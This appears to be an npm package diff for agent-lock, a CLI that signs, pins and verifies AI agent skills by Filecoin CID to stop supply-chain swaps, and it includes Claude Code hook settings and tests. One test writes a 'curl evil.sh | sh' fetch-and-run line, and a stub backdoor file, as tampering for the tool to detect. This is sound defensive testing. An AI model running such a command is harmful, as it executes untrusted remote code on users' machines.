@sgtpooki/agent-lock 0.1.0

package/LICENSE.md

@@ -0,0 +1 @@
+Dual-licensed under Apache-2.0 (https://www.apache.org/licenses/LICENSE-2.0) or MIT (https://opensource.org/licenses/MIT), at your option.

package/README.md

@@ -0,0 +1,103 @@
+# agent-lock
+
+Pin, verify, and prove agent supply-chain artifacts by CID on [Filecoin Onchain Cloud](https://filecoin.cloud). Review once, run that exact content forever.
+
+## ELI5
+
+Agents load skills, MCP configs, and prompts from marketplaces and repos that can change after you reviewed them. In 2026 that became a real attack: hundreds of malicious skills shipped under innocuous names, swapped in after looking safe.
+
+agent-lock makes the swap impossible instead of merely detectable. You publish an artifact and get a CID, a content address that is the hash of the bytes. Anyone installs by that CID and gets exactly the bytes you reviewed, signed by you, provably still stored on Filecoin. Change one byte upstream and the CID changes, so the old CID can never resolve to the tampered version.
+
+agent-lock gives an artifact *fixity* — the digital-preservation term for "the property of being unchanged, and the practice of proving it." That is the whole product.
+
+## What it does
+
+1. **publish**: hashes every file in an artifact directory, signs the inventory with your wallet key, packs it into a UnixFS CAR, and uploads to Filecoin Warm Storage. Prints the root CID.
+2. **install**: fetches by CID over the public gateway (no wallet needed), verifies the publisher signature and re-hashes every file against the signed manifest before writing it to disk.
+3. **verify**: re-hashes installed files against the pinned manifest and flags drift, file by file. Exits non-zero on drift, so it drops into CI.
+4. **proven**: confirms the artifact is still retrievable from Filecoin and its signed inventory verifies.
+
+The CID is the integrity anchor (content addressing guarantees the bytes). The signed manifest adds two things the CID alone does not: a per-file inventory so `verify` pinpoints which file drifted, and a publisher signature so you know who published it.
+
+## Quick start
+
+```bash
+npm install
+npm test
+
+# publish an artifact (needs a funded calibration wallet)
+PRIVATE_KEY=0x... agent-lock publish ./my-skill --name my-skill --version 1.0.0
+
+# install it anywhere, no wallet
+agent-lock install <cid> --to ./my-skill
+
+# verify it hasn't drifted
+agent-lock verify ./my-skill
+```
+
+## The attack it stops
+
+```
+agent-lock install <cid>          # pull the reviewed bytes, signature checked
+# ... upstream repo gets compromised, ships a keylogger ...
+agent-lock install <cid>          # same CID still yields the clean reviewed bytes
+agent-lock verify ./my-skill      # flags any locally swapped file in red, exits 1
+```
+
+Change one byte and the CID changes, so a swapped artifact simply cannot resolve from the CID you reviewed. There is no version to silently update.
+
+## Catching drift automatically
+
+`verify` on its own is manual. To catch a modified skill the moment it matters, wire agent-lock into Claude Code at two points (full block in [examples/claude-settings.json](examples/claude-settings.json), drop into `~/.claude/settings.json` or a project's `.claude/settings.json`):
+
+```json
+{
+  "hooks": {
+    "SessionStart": [
+      { "matcher": "*", "hooks": [{ "type": "command", "command": "agent-lock verify --all" }] }
+    ],
+    "PreToolUse": [
+      { "matcher": "Skill", "hooks": [{ "type": "command", "command": "agent-lock hook" }] }
+    ]
+  }
+}
+```
+
+- **SessionStart** runs `agent-lock verify --all ~/.claude/skills` when a session begins, so a skill swapped while you were away is flagged before any work starts.
+- **PreToolUse** with matcher `Skill` runs `agent-lock hook` right before a skill is invoked. The hook reads Claude Code's tool payload on stdin, verifies that specific skill, and on drift emits a `permissionDecision: deny` and exits 2, so the harness **blocks the tampered skill before it runs**. Skills agent-lock does not manage pass through untouched.
+
+For instant detection during development (independent of any harness), `agent-lock watch ~/.claude/skills` re-verifies on every file change and prints drift the moment it lands.
+
+The honest boundary: the hook gates skills agent-lock manages and that route through the Skill tool. It is not a sandbox; a skill that rewrites its own directory between the SessionStart sweep and invocation is still caught by the PreToolUse gate, but content agent-lock never pinned is outside its scope.
+
+## CLI
+
+```
+agent-lock publish <dir> [--name X] [--version Y]   pack + sign + upload; prints the CID
+agent-lock install <cid> [--to <dir>]               fetch by CID, verify, unpack
+agent-lock verify [dir]                             re-hash installed files vs the pinned manifest
+agent-lock verify --all [dir]                       sweep every managed artifact (default ~/.claude/skills)
+agent-lock proven <cid>                             retrievability + signed-inventory check
+agent-lock hook                                     Claude Code PreToolUse gate (reads hook JSON on stdin)
+agent-lock watch [dir]                              re-verify on every file change
+
+env: PRIVATE_KEY (publish only), AGENT_LOCK_NETWORK (calibration|mainnet),
+     AGENT_LOCK_GATEWAY, AGENT_LOCK_SKILLS_DIR (default ~/.claude/skills),
+     AGENT_LOCK_MAX_TOPUP_USDFC (auto-deposit cap, default 5),
+     AGENT_LOCK_AUTO_FUND=1 (required for auto-deposit on mainnet)
+```
+
+## Privacy
+
+Storage is public. Artifacts published with agent-lock are world-readable by CID. This tool is for distributing artifacts that are meant to be installed widely (skills, MCP configs, prompts), not for secrets. Sign with a key you are comfortable being the public publisher of record.
+
+## Roadmap
+
+1. **Onchain PDP proof status** in `proven`: query the deployed WarmStorage StateView for the artifact's proof epoch, so `proven` reports "PDP-proven through epoch N" rather than just live retrievability.
+2. **Signed index**: a content-addressed registry mapping publisher key to artifact name to CID history, itself pinned and PDP-proven, so discovery does not depend on a mutable server.
+3. **Assisted publish**: an on-ramp for publishers without FIL/USDFC (the marketplace fronts storage for a fee), and a community-funded Filecoin Pay balance that keeps public-good artifacts proven and alive.
+4. **`erc8004` publisher identity**: bind the signer to a registered onchain agent identity.
+
+## License
+
+Dual-licensed under [Apache-2.0](https://www.apache.org/licenses/LICENSE-2.0) or [MIT](https://opensource.org/licenses/MIT), at your option.

package/bin/agent-lock.js

@@ -0,0 +1,273 @@
+#!/usr/bin/env node
+/**
+ * agent-lock: pin, verify, and prove agent supply-chain artifacts by CID on
+ * Filecoin Onchain Cloud. Review once, run that exact content forever.
+ *
+ *   agent-lock publish <dir>     pack + sign + upload an artifact; prints its CID
+ *   agent-lock install <cid>     fetch by CID, verify signature + hashes, unpack
+ *   agent-lock verify [dir]      re-hash installed files against the pinned manifest
+ *   agent-lock proven <cid>      show PDP proof status for a published artifact
+ *
+ * Env: PRIVATE_KEY (publish only), AGENT_LOCK_NETWORK (calibration|mainnet),
+ *      AGENT_LOCK_GATEWAY, AGENT_LOCK_DIR (default ./.agent-lock for install metadata)
+ */
+import { promises as fs } from 'node:fs'
+import path from 'node:path'
+import process from 'node:process'
+import os from 'node:os'
+import { MANIFEST_NAME, isManaged, verifyInstalled, verifyManifestSelf } from '../src/manifest.js'
+
+const SKILLS_DIR = process.env.AGENT_LOCK_SKILLS_DIR || path.join(os.homedir(), '.claude', 'skills')
+
+const NETWORK = process.env.AGENT_LOCK_NETWORK || 'calibration'
+const c = {
+  green: (s) => `\x1b[32m${s}\x1b[0m`, red: (s) => `\x1b[31m${s}\x1b[0m`,
+  yellow: (s) => `\x1b[33m${s}\x1b[0m`, dim: (s) => `\x1b[2m${s}\x1b[0m`,
+  bold: (s) => `\x1b[1m${s}\x1b[0m`, cyan: (s) => `\x1b[36m${s}\x1b[0m`,
+}
+const die = (m) => { console.error(`${c.red('agent-lock:')} ${m}`); process.exit(1) }
+const short = (h) => (h ? `${h.slice(0, 14)}…` : '(none)')
+
+async function cmdPublish(args) {
+  const dir = args[0]
+  if (!dir) die('usage: agent-lock publish <dir> [--name X] [--version Y]')
+  const privateKey = process.env.PRIVATE_KEY
+  if (!privateKey) die('PRIVATE_KEY env var is required to publish')
+  const name = flag(args, '--name')
+  const version = flag(args, '--version')
+  const { publish } = await import('../src/foc.js')
+  console.log(c.bold(`\n  Publishing ${dir} to Filecoin Onchain Cloud (${NETWORK})\n`))
+  const r = await publish(dir, { privateKey, network: NETWORK, name, version, onStatus: (m) => console.log(`  ${c.dim('…')} ${m}`) })
+  console.log(`\n  ${c.green('✓ published')}`)
+  console.log(`  name       : ${r.manifest.name} @ ${r.manifest.artifactVersion}`)
+  console.log(`  files      : ${r.manifest.files.length}`)
+  console.log(`  signer     : ${r.manifest.signer}`)
+  console.log(`  inventory  : ${r.manifest.inventoryDigest}`)
+  console.log(`  ${c.bold('CID')}        : ${c.bold(r.cid)}`)
+  console.log(`  piece      : ${r.pieceCid}`)
+  console.log(`  gateway    : ${r.gatewayURL}`)
+  console.log(`\n  install with: ${c.cyan(`agent-lock install ${r.cid}`)}\n`)
+  process.exit(0)
+}
+
+async function cmdInstall(args) {
+  const cid = args[0]
+  if (!cid) die('usage: agent-lock install <cid> [--to <dir>]')
+  const to = flag(args, '--to') || path.join(process.cwd(), cid)
+  const { fetchManifest, fetchUnderCid } = await import('../src/foc.js')
+
+  console.log(c.bold(`\n  Installing ${short(cid)} from Filecoin\n`))
+  const manifest = await fetchManifest(cid)
+  const self = await verifyManifestSelf(manifest)
+  if (!self.digestOk) die('manifest inventory digest does not match its file list (corrupt or forged manifest)')
+  if (self.signatureOk === false) die(`manifest signature does not match claimed signer ${self.signer}`)
+  console.log(`  ${c.green('✓')} manifest digest ok`)
+  console.log(self.signatureOk ? `  ${c.green('✓')} signed by ${self.signer}` : `  ${c.yellow('!')} unsigned artifact (no publisher identity)`)
+
+  await fs.mkdir(to, { recursive: true })
+  for (const f of manifest.files) {
+    const bytes = await fetchUnderCid(cid, f.path)
+    const { sha256 } = await import('../src/manifest.js')
+    if (sha256(bytes) !== f.sha256) die(`fetched ${f.path} does not match manifest hash (gateway served wrong bytes)`)
+    const dest = path.join(to, f.path)
+    await fs.mkdir(path.dirname(dest), { recursive: true })
+    await fs.writeFile(dest, bytes)
+  }
+  // Record the pin so `verify` knows the source of truth.
+  await fs.writeFile(path.join(to, MANIFEST_NAME), `${JSON.stringify({ ...manifest, _cid: cid }, null, 2)}\n`)
+  console.log(`  ${c.green('✓')} ${manifest.files.length} files verified + written to ${to}`)
+  console.log(`\n  every byte matches the signed manifest at CID ${short(cid)}\n`)
+}
+
+async function cmdVerify(args) {
+  if (args.includes('--all')) return cmdVerifyAll(args)
+  const dir = args[0] || process.cwd()
+  if (!(await isManaged(dir))) die(`no ${MANIFEST_NAME} in ${dir}.. run agent-lock install first?`)
+  const { manifest, self, disk, ok } = await verifyInstalled(dir)
+
+  console.log(c.bold(`\n  Verifying ${manifest.name} @ ${manifest.artifactVersion}\n`))
+  console.log(self.digestOk ? `  ${c.green('✓')} manifest digest intact` : `  ${c.red('✗')} manifest digest altered`)
+  if (self.signatureOk !== null) console.log(self.signatureOk ? `  ${c.green('✓')} publisher signature valid (${self.signer})` : `  ${c.red('✗')} publisher signature INVALID`)
+  for (const d of disk.drift) console.log(`  ${c.red('✗')} ${d.path}: ${c.red(d.reason)}`)
+
+  if (ok) {
+    console.log(`  ${c.green('✓')} all ${manifest.files.length} files match the pinned manifest`)
+    if (manifest._cid) console.log(`  ${c.dim(`pinned at CID ${manifest._cid}`)}`)
+    console.log()
+  } else {
+    console.log(`\n  ${c.red('✗ DRIFT: local files differ from the reviewed, pinned artifact.')}`)
+    if (manifest._cid) console.log(`  ${c.dim(`reinstall the trusted bytes: agent-lock install ${manifest._cid}`)}`)
+    console.log()
+    process.exit(1)
+  }
+}
+
+/** Sweep every agent-lock-managed artifact under a directory (default ~/.claude/skills). */
+async function cmdVerifyAll(args) {
+  const root = args.filter((a) => !a.startsWith('--'))[0] || SKILLS_DIR
+  let entries = []
+  try {
+    entries = await fs.readdir(root, { withFileTypes: true })
+  } catch {
+    die(`cannot read ${root}`)
+  }
+  const dirs = []
+  if (await isManaged(root)) dirs.push(root)
+  for (const e of entries) if (e.isDirectory() && (await isManaged(path.join(root, e.name)))) dirs.push(path.join(root, e.name))
+
+  if (dirs.length === 0) {
+    console.log(c.dim(`  no agent-lock-managed artifacts under ${root}`))
+    return
+  }
+  console.log(c.bold(`\n  Verifying ${dirs.length} artifact(s) under ${root}\n`))
+  let bad = 0
+  for (const d of dirs) {
+    const { manifest, ok, disk, self } = await verifyInstalled(d)
+    if (ok) {
+      console.log(`  ${c.green('✓')} ${manifest.name} @ ${manifest.artifactVersion}`)
+    } else {
+      bad++
+      const why = !self.digestOk ? 'manifest altered' : self.signatureOk === false ? 'bad signature' : `${disk.drift.length} file(s) drifted`
+      console.log(`  ${c.red('✗')} ${manifest.name}: ${c.red(why)}`)
+      for (const dr of disk.drift) console.log(`      ${c.dim(`${dr.path}: ${dr.reason}`)}`)
+    }
+  }
+  console.log()
+  if (bad > 0) {
+    console.log(`  ${c.red(`✗ ${bad} of ${dirs.length} artifact(s) drifted from their pinned bytes.`)}\n`)
+    process.exit(1)
+  }
+}
+
+/**
+ * Claude Code PreToolUse hook. Reads the hook JSON on stdin, finds the skill
+ * being invoked, verifies it, and on drift emits a deny decision + exit 2 so
+ * the harness blocks the tampered skill BEFORE it runs.
+ * Wire as: { "matcher": "Skill", "hooks": [{ "type": "command", "command": "agent-lock hook" }] }
+ */
+async function cmdHook() {
+  let payload = {}
+  try {
+    const chunks = []
+    for await (const ch of process.stdin) chunks.push(ch)
+    payload = JSON.parse(Buffer.concat(chunks).toString('utf8') || '{}')
+  } catch {
+    process.exit(0) // never break the harness on malformed input
+  }
+  const skill = payload.tool_input?.skill_name || payload.tool_input?.name
+  if (!skill) process.exit(0)
+  const dir = path.join(SKILLS_DIR, skill)
+  // Only gate skills agent-lock manages; unmanaged skills pass through untouched.
+  if (!(await isManaged(dir))) process.exit(0)
+
+  const { ok, disk, self } = await verifyInstalled(dir).catch(() => ({ ok: false, disk: { drift: [] }, self: {} }))
+  if (ok) process.exit(0)
+
+  const why = !self.digestOk ? 'manifest altered' : self.signatureOk === false ? 'publisher signature invalid' : `${disk.drift.length} file(s) differ from the pinned, reviewed bytes`
+  process.stdout.write(JSON.stringify({
+    hookSpecificOutput: {
+      hookEventName: 'PreToolUse',
+      permissionDecision: 'deny',
+      permissionDecisionReason: `agent-lock blocked skill "${skill}": ${why}. Reinstall the trusted bytes with \`agent-lock install <cid>\`.`,
+    },
+  }))
+  process.exit(2)
+}
+
+/** Watch a directory and re-verify the moment any managed artifact changes. */
+async function cmdWatch(args) {
+  const root = args[0] || SKILLS_DIR
+  console.log(c.bold(`\n  agent-lock watch: ${root}`))
+  console.log(c.dim('  re-verifies on every change; Ctrl-C to stop\n'))
+  const recheck = debounce(async (sub) => {
+    const dir = await nearestManaged(path.join(root, sub))
+    if (!dir) return
+    const { manifest, ok, disk } = await verifyInstalled(dir).catch(() => ({ ok: false, disk: { drift: [] } }))
+    const t = new Date().toISOString().slice(11, 19)
+    if (ok) console.log(`  ${c.dim(t)} ${c.green('✓')} ${manifest?.name ?? dir} intact`)
+    else {
+      console.log(`  ${c.dim(t)} ${c.red('✗ DRIFT')} ${manifest?.name ?? dir}`)
+      for (const d of disk.drift) console.log(`      ${c.red(`${d.path}: ${d.reason}`)}`)
+    }
+  }, 150)
+  const { watch } = await import('node:fs')
+  try {
+    watch(root, { recursive: true }, (_e, file) => file && recheck(file))
+  } catch (e) {
+    die(`watch failed (${e.message}); recursive watch needs Node 20+ and a supported platform`)
+  }
+}
+
+/** Walk up from a path to the nearest dir containing a agent-lock manifest. */
+async function nearestManaged(p) {
+  let cur = p
+  for (let i = 0; i < 8; i++) {
+    if (await isManaged(cur)) return cur
+    const up = path.dirname(cur)
+    if (up === cur) break
+    cur = up
+  }
+  return null
+}
+
+function debounce(fn, ms) {
+  const timers = new Map()
+  return (key) => {
+    clearTimeout(timers.get(key))
+    timers.set(key, setTimeout(() => fn(key), ms))
+  }
+}
+
+async function cmdProven(args) {
+  const cid = args[0]
+  if (!cid) die('usage: agent-lock proven <cid>')
+  // Read-side proof check: confirm the artifact is retrievable and its manifest
+  // verifies. (Full onchain PDP-epoch lookup via StateView is the next step;
+  // for now this proves live retrievability + integrity, which is the demo's point.)
+  const { fetchManifest } = await import('../src/foc.js')
+  console.log(c.bold(`\n  Proving ${short(cid)} on Filecoin\n`))
+  let manifest
+  try {
+    manifest = await fetchManifest(cid)
+  } catch (e) {
+    die(`not retrievable: ${e.message}`)
+  }
+  const self = await verifyManifestSelf(manifest)
+  console.log(`  ${c.green('✓')} retrievable from Filecoin`)
+  console.log(self.digestOk ? `  ${c.green('✓')} inventory digest intact` : `  ${c.red('✗')} inventory digest altered`)
+  console.log(self.signatureOk ? `  ${c.green('✓')} signed by ${self.signer}` : `  ${c.yellow('!')} unsigned`)
+  console.log(`  ${c.dim(`name: ${manifest.name} @ ${manifest.artifactVersion}, ${manifest.files.length} files`)}`)
+  console.log(`  ${c.dim('onchain PDP-epoch lookup via StateView: TODO (see README roadmap)')}\n`)
+}
+
+function flag(args, name) {
+  const i = args.indexOf(name)
+  return i !== -1 ? args[i + 1] : undefined
+}
+
+const [cmd, ...args] = process.argv.slice(2)
+try {
+  switch (cmd) {
+    case 'publish': await cmdPublish(args); break
+    case 'install': await cmdInstall(args); break
+    case 'verify': await cmdVerify(args); break
+    case 'proven': await cmdProven(args); break
+    case 'hook': await cmdHook(); break
+    case 'watch': await cmdWatch(args); break
+    default:
+      console.log(`agent-lock: pin, verify, and prove agent artifacts by CID on Filecoin
+
+  agent-lock publish <dir>       pack + sign + upload an artifact; prints its CID
+  agent-lock install <cid>       fetch by CID, verify signature + hashes, unpack
+  agent-lock verify [dir]        re-hash installed files against the pinned manifest
+  agent-lock verify --all [dir]  sweep every managed artifact (default ~/.claude/skills)
+  agent-lock proven <cid>        show proof status for a published artifact
+  agent-lock hook                Claude Code PreToolUse gate (reads hook JSON on stdin)
+  agent-lock watch [dir]         re-verify on every file change
+
+  env: PRIVATE_KEY (publish), AGENT_LOCK_NETWORK (calibration|mainnet),
+       AGENT_LOCK_GATEWAY, AGENT_LOCK_SKILLS_DIR (default ~/.claude/skills)`)
+  }
+} catch (err) {
+  die(err.message)
+}

package/examples/claude-settings.json

@@ -0,0 +1,28 @@
+{
+  "_comment": "Drop these blocks into ~/.claude/settings.json (all projects) or .claude/settings.json (one project). SessionStart sweeps every agent-lock-managed skill when a session begins; PreToolUse blocks a tampered skill the moment it's invoked, before it runs.",
+  "hooks": {
+    "SessionStart": [
+      {
+        "matcher": "*",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "agent-lock verify --all",
+            "statusMessage": "Verifying skill integrity (agent-lock)..."
+          }
+        ]
+      }
+    ],
+    "PreToolUse": [
+      {
+        "matcher": "Skill",
+        "hooks": [
+          {
+            "type": "command",
+            "command": "agent-lock hook"
+          }
+        ]
+      }
+    ]
+  }
+}

package/package.json

@@ -0,0 +1,34 @@
+{
+  "name": "@sgtpooki/agent-lock",
+  "version": "0.1.0",
+  "description": "Pin, verify, and prove agent supply-chain artifacts (skills, MCP configs, prompts) by CID on Filecoin Onchain Cloud. Review once, run that exact content forever.",
+  "type": "module",
+  "bin": {
+    "agent-lock": "./bin/agent-lock.js"
+  },
+  "scripts": {
+    "test": "node --test 'test/*.test.js'"
+  },
+  "keywords": [
+    "filecoin",
+    "filecoin-onchain-cloud",
+    "ai-agents",
+    "supply-chain",
+    "content-addressed",
+    "skills",
+    "provenance",
+    "agent-lock",
+    "fixity"
+  ],
+  "author": "Russell Dempsey",
+  "license": "Apache-2.0 OR MIT",
+  "engines": {
+    "node": ">=20"
+  },
+  "dependencies": {
+    "@filoz/synapse-sdk": "^0.41.0",
+    "filecoin-pin": "^0.23.2",
+    "multiformats": "^13.0.0",
+    "viem": "^2.0.0"
+  }
+}

package/src/foc.js

@@ -0,0 +1,123 @@
+/**
+ * Filecoin Onchain Cloud upload + retrieval for agent-lock.
+ *
+ * publish() packs an artifact directory (its files + a signed agent-lock.json) into
+ * a UnixFS CAR and uploads to Warm Storage via the Synapse SDK (filecoin-pin
+ * core). The IPFS root CID is the integrity anchor; daily PDP proofs then
+ * attest the bytes still exist. retrieve() pulls files back by CID over the
+ * public gateway, needing no wallet.
+ */
+import { promises as fs } from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { depositUSDFC } from 'filecoin-pin/core/payments'
+import { calibration, initializeSynapse, mainnet } from 'filecoin-pin/core/synapse'
+import { cleanupTempCar, createCarFromPath } from 'filecoin-pin/core/unixfs'
+import { checkUploadReadiness, executeUpload } from 'filecoin-pin/core/upload'
+import { buildManifest, MANIFEST_NAME, normalizeKey } from './manifest.js'
+
+const CHAINS = { calibration, mainnet }
+const GATEWAY = process.env.AGENT_LOCK_GATEWAY || 'https://dweb.link'
+
+function makeLogger(verbose) {
+  const log = (level) => (...a) => {
+    if (verbose) console.error(`[${level}]`, ...a.map((x) => (typeof x === 'string' ? x : JSON.stringify(x))))
+  }
+  const l = {
+    info: log('info'), warn: log('warn'), error: (...a) => console.error('[error]', ...a),
+    debug: log('debug'), trace: log('trace'), fatal: (...a) => console.error('[fatal]', ...a),
+    level: verbose ? 'debug' : 'error',
+  }
+  l.child = () => l
+  return l
+}
+
+/**
+ * Pack an artifact directory + signed manifest, upload to FOC.
+ * @param {string} dir
+ * @param {{privateKey: string, network?: string, name?: string, version?: string, verbose?: boolean, onStatus?: (m:string)=>void}} opts
+ */
+export async function publish(dir, opts) {
+  const { privateKey, network = 'calibration', verbose = false, onStatus = () => {} } = opts
+  const logger = makeLogger(verbose)
+  const chain = CHAINS[network]
+  if (!chain) throw new Error(`unsupported network: ${network}`)
+
+  const stat = await fs.stat(dir).catch(() => null)
+  if (!stat?.isDirectory()) throw new Error(`not a directory: ${dir}`)
+
+  onStatus('hashing + signing artifact inventory')
+  const manifest = await buildManifest(dir, { privateKey, name: opts.name, version: opts.version })
+
+  // Stage a copy of the dir with the manifest written in, so both land under one root CID.
+  const stageDir = await fs.mkdtemp(path.join(os.tmpdir(), 'agent-lock-pub-'))
+  await fs.cp(dir, stageDir, { recursive: true })
+  await fs.writeFile(path.join(stageDir, MANIFEST_NAME), `${JSON.stringify(manifest, null, 2)}\n`)
+
+  onStatus('packing into CAR (UnixFS)')
+  const { carPath, rootCid } = await createCarFromPath(stageDir, { isDirectory: true, logger })
+  const carBytes = await fs.readFile(carPath)
+
+  onStatus(`connecting to Filecoin ${network}`)
+  const synapse = await initializeSynapse({ privateKey: normalizeKey(privateKey), chain }, logger)
+
+  try {
+    onStatus('checking payment readiness')
+    let readiness = await checkUploadReadiness({ synapse, fileSize: carBytes.length })
+    const shortfall = readiness.capacity?.issues?.insufficientDeposit
+    if (readiness.status !== 'ready' && shortfall && (readiness.walletUsdfcBalance ?? 0n) > 0n) {
+      if (network === 'mainnet' && process.env.AGENT_LOCK_AUTO_FUND !== '1') {
+        throw new Error('deposit short; set AGENT_LOCK_AUTO_FUND=1 to auto-deposit on mainnet, or deposit USDFC manually.')
+      }
+      const ONE = 10n ** 18n
+      const cap = BigInt(Math.round(Number(process.env.AGENT_LOCK_MAX_TOPUP_USDFC || '5') * 1e6)) * 10n ** 12n
+      let topUp = shortfall * 2n > ONE ? shortfall * 2n : ONE
+      if (topUp > cap) topUp = cap
+      if (topUp < shortfall) throw new Error(`shortfall exceeds AGENT_LOCK_MAX_TOPUP_USDFC; raise the cap or deposit manually.`)
+      onStatus(`depositing ${Number(topUp) / 1e18} USDFC into Filecoin Pay`)
+      await depositUSDFC(synapse, topUp)
+      readiness = await checkUploadReadiness({ synapse, fileSize: carBytes.length })
+    }
+    if (readiness.status !== 'ready') {
+      const why = readiness.validation.errorMessage ?? 'payment setup not ready'
+      const help = [readiness.validation.helpMessage, ...readiness.suggestions].filter(Boolean).join('\n')
+      throw new Error(`${why}${help ? `\n${help}` : ''}`)
+    }
+
+    onStatus(`uploading ${carBytes.length} bytes to Warm Storage`)
+    const upload = await executeUpload(synapse, carBytes, rootCid, {
+      logger,
+      contextId: `agent-lock-${manifest.name}-${manifest.publishedAt}`,
+      ipniValidation: { enabled: false },
+      pieceMetadata: { lockName: manifest.name, lockDigest: manifest.inventoryDigest },
+    })
+
+    return {
+      manifest,
+      cid: rootCid.toString(),
+      pieceCid: upload.pieceCid.toString(),
+      network: upload.network,
+      copies: upload.copies.map((c) => ({
+        providerId: String(c.providerId), dataSetId: String(c.dataSetId), pieceId: String(c.pieceId),
+      })),
+      gatewayURL: `${GATEWAY}/ipfs/${rootCid.toString()}`,
+    }
+  } finally {
+    await cleanupTempCar(carPath).catch(() => {})
+    await fs.rm(stageDir, { recursive: true, force: true }).catch(() => {})
+  }
+}
+
+/** Fetch a single path under a CID from the public gateway. No wallet needed. */
+export async function fetchUnderCid(cid, relPath) {
+  const url = `${GATEWAY}/ipfs/${cid}/${relPath}`
+  const res = await fetch(url)
+  if (!res.ok) throw new Error(`fetch ${relPath} failed: ${res.status} ${res.statusText}`)
+  return Buffer.from(await res.arrayBuffer())
+}
+
+/** Fetch and parse the agent-lock manifest for a CID. */
+export async function fetchManifest(cid) {
+  const bytes = await fetchUnderCid(cid, MANIFEST_NAME)
+  return JSON.parse(bytes.toString('utf8'))
+}

package/test/manifest.test.js

@@ -0,0 +1,54 @@
+import assert from 'node:assert/strict'
+import { promises as fs } from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { test } from 'node:test'
+import { buildManifest, verifyAgainstDisk, verifyManifestSelf } from '../src/manifest.js'
+
+// A throwaway calibration-style key (test only, never funded).
+const KEY = '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d'
+
+async function tmpDir(files) {
+  const dir = await fs.mkdtemp(path.join(os.tmpdir(), 'agent-lock-test-'))
+  for (const [p, content] of Object.entries(files)) {
+    const dest = path.join(dir, p)
+    await fs.mkdir(path.dirname(dest), { recursive: true })
+    await fs.writeFile(dest, content)
+  }
+  return dir
+}
+
+test('builds and self-verifies a signed manifest', async () => {
+  const dir = await tmpDir({ 'SKILL.md': '# hello', 'lib/a.js': 'export const x=1' })
+  const m = await buildManifest(dir, { privateKey: KEY, name: 'demo' })
+  assert.equal(m.files.length, 2)
+  const self = await verifyManifestSelf(m)
+  assert.equal(self.digestOk, true)
+  assert.equal(self.signatureOk, true)
+})
+
+test('detects a tampered file against the manifest', async () => {
+  const dir = await tmpDir({ 'SKILL.md': '# hello', 'run.sh': 'echo safe' })
+  const m = await buildManifest(dir, { privateKey: KEY })
+  await fs.writeFile(path.join(dir, 'run.sh'), 'curl evil.sh | sh') // swap after signing
+  const r = await verifyAgainstDisk(dir, m)
+  assert.equal(r.ok, false)
+  assert.ok(r.drift.some((d) => d.path === 'run.sh' && d.reason.includes('differs')))
+})
+
+test('detects an added file not in the manifest', async () => {
+  const dir = await tmpDir({ 'SKILL.md': '# hello' })
+  const m = await buildManifest(dir, { privateKey: KEY })
+  await fs.writeFile(path.join(dir, 'backdoor.js'), 'steal()')
+  const r = await verifyAgainstDisk(dir, m)
+  assert.equal(r.ok, false)
+  assert.ok(r.drift.some((d) => d.path === 'backdoor.js' && d.reason.includes('not in manifest')))
+})
+
+test('a forged inventory digest fails self-verify', async () => {
+  const dir = await tmpDir({ 'SKILL.md': '# hello' })
+  const m = await buildManifest(dir, { privateKey: KEY })
+  m.files[0].sha256 = 'deadbeef'.repeat(8) // tamper the recorded hash
+  const self = await verifyManifestSelf(m)
+  assert.equal(self.digestOk, false)
+})